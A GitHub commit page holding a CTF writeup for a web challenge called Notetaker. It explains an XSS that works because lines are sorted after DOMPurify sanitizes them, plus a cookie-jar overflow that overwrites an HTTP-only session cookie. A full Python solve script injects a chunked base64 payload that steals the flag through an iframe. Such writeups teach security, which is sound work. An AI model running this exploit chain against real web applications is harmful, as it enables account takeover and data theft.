Skip to content

Commit fa653f1

Browse files
committed
writeup
1 parent 5f1ab8e commit fa653f1

File tree

7 files changed

+701
-1
lines changed

7 files changed

+701
-1
lines changed

2025-wwctf/index.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
---
22
created: 2025-07-28T01:38
3-
updated: 2025-07-28T07:56
3+
updated: 2025-08-24T10:52
44
team: wwf
5+
title: World Wide CTF 2025 Official Writeups
56
---
67

78
Sadly the big teams went for UIUCTF.

2025-wwctf/web/Notetaker.md

Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
---
2+
created: 2025-08-27T17:42
3+
updated: 2025-08-27T17:58
4+
---
5+
6+
Apparently during play test my teammates thought this was a DOMPurify zero day.
7+
8+
## xss
9+
But the basic idea of this challenge is that there is modification after purify, which is a very big red flag.
10+
11+
This is on the profile page.
12+
13+
```js
14+
const data = atob("USER_DATA");
15+
const sort = new URLSearchParams(window.location.search).get('sort') || 'none';
16+
const entries = DOMPurify.sanitize(data).split('\n').filter(entry => entry.trim() !== '');
17+
if (sort === 'asc') entries.sort();
18+
else if (sort === 'desc') entries.sort().reverse();
19+
document.getElementById('history').innerHTML = entries.map(e => `<li>${e}</li>`).join('');
20+
```
21+
22+
The notes are sorted (modified) after purification.
23+
24+
And the server has a faulty `.replace` and keeps all newlines after the first replacement.
25+
26+
@Jorian gave a very nice explanation on this.
27+
28+
```html
29+
" onerror=alert() "
30+
<img src alt="value
31+
with
32+
newlines">
33+
```
34+
> DOMPurify would see the above as safe and output it basically as-is. But if the 1st line is re-ordered to be on the 3rd line, for example, it would inject an attribute and trigger XSS with
35+
```html
36+
<img src alt="value
37+
" onerror=alert() "
38+
newlines">
39+
```
40+
41+
## payload
42+
43+
The next part is getting the flag and sending it back to us. The XSS bot is not allowed to connect to anything other than the site, so we need to send the flag back to us as a note.
44+
45+
### getting information out
46+
47+
However the admin user has a random UUID and new notes also have random UUID so the only way to see the note is either we are admin or we make the admin login as us.
48+
49+
The cookie is HTTP-only so we can't really steal admin's identify, however we are able to overwrite HTTP-only cookies.
50+
51+
We just need to overflow the cookie jar and at that point the old cookie is simply deleted.
52+
53+
### getting the flag itself
54+
55+
There are multiple ways to do this, `connect-src 'none';` prevents directly using `fetch`, but you can use `window.open` or you can use `iframe`.
56+
57+
### deploying the payload
58+
59+
The profile page also has a character limit, so you just got to be creative. Some teams solved it manually but I have an automated script to generate each subpayload.
60+
61+
62+
## solve script
63+
64+
```python
65+
import base64
66+
import requests
67+
target = "http://localhost:8000"
68+
target = "https://notetaker.chall.wwctf.com"
69+
s = requests.Session()
70+
71+
s.post(f"{target}/register", data={
72+
"name": "test"
73+
})
74+
print(s.get(f"{target}/me").url.replace('localhost', 'web')+"?sort=asc")
75+
76+
token = s.cookies.get("token")
77+
print(token)
78+
payload = f"""
79+
(function() {{
80+
const iframe = document.createElement('iframe');
81+
iframe.src = '/flag';
82+
document.body.appendChild(iframe);
83+
const form = document.createElement('form');
84+
form.id = 'flagForm';
85+
form.action = '/';
86+
form.method = 'POST';
87+
const ti = document.createElement('input');
88+
ti.name = 'title';
89+
ti.id = 'ti';
90+
ti.value = 'flag';
91+
const ci = document.createElement('input');
92+
ci.name = 'content';
93+
ci.value = 'dummy';
94+
form.appendChild(ti);
95+
form.appendChild(ci);
96+
document.body.appendChild(form);
97+
iframe.onload = () => {{
98+
try {{
99+
const flag = iframe.contentDocument.body.innerText;
100+
ci.value = '['+flag;
101+
for (let i = 0; i < 700; i++) {{
102+
document.cookie = `cookie${{i}}=${{i}}`;
103+
}}
104+
document.cookie = 'token={token}; SameSite=Lax; path=/';
105+
form.submit();
106+
}} catch (e) {{
107+
console.error('Error:', e);
108+
}}
109+
}};
110+
}})();
111+
""".strip()
112+
payload = base64.b64encode(payload.encode()).decode()
113+
max_l = 35
114+
payload_chunks = [payload[i:i+max_l] for i in range(0, len(payload), max_l)]
115+
#http://web:8000/user/37b74d40-9697-428f-b109-7ed00ef65451?sort=asc
116+
s.post(target, data={
117+
"title": "a</a>\n\n*000<img id=\"",
118+
"content": "dummy"
119+
})
120+
s.post(target, data={
121+
"title": "\"a\n\n*001\" onerror='location=\"javascript:\"+/*",
122+
"content": "dummy"
123+
})
124+
s.post(target, data={
125+
"title": f"\"a\n\n*002*/atob(/*",
126+
"content": "dummy"
127+
})
128+
for i, chunk in enumerate(payload_chunks):
129+
s.post(target, data={
130+
"title": f"\"a\n\n*{(i+3):03d}*/\"{chunk}\"+/*",
131+
"content": "dummy"
132+
})
133+
s.post(target, data={
134+
"title": "\"a\n\n*999*/\"\")' src='1'<img>",
135+
"content": "dummy"
136+
})
137+
```
138+
139+
```flag
140+
wwf{imagine_if_you_actually_solved_this_with_a_dompurify_zeroday}
141+
```
File renamed without changes.
File renamed without changes.

others/web/index.md

Whitespace-only changes.

0 commit comments

Comments
 (0)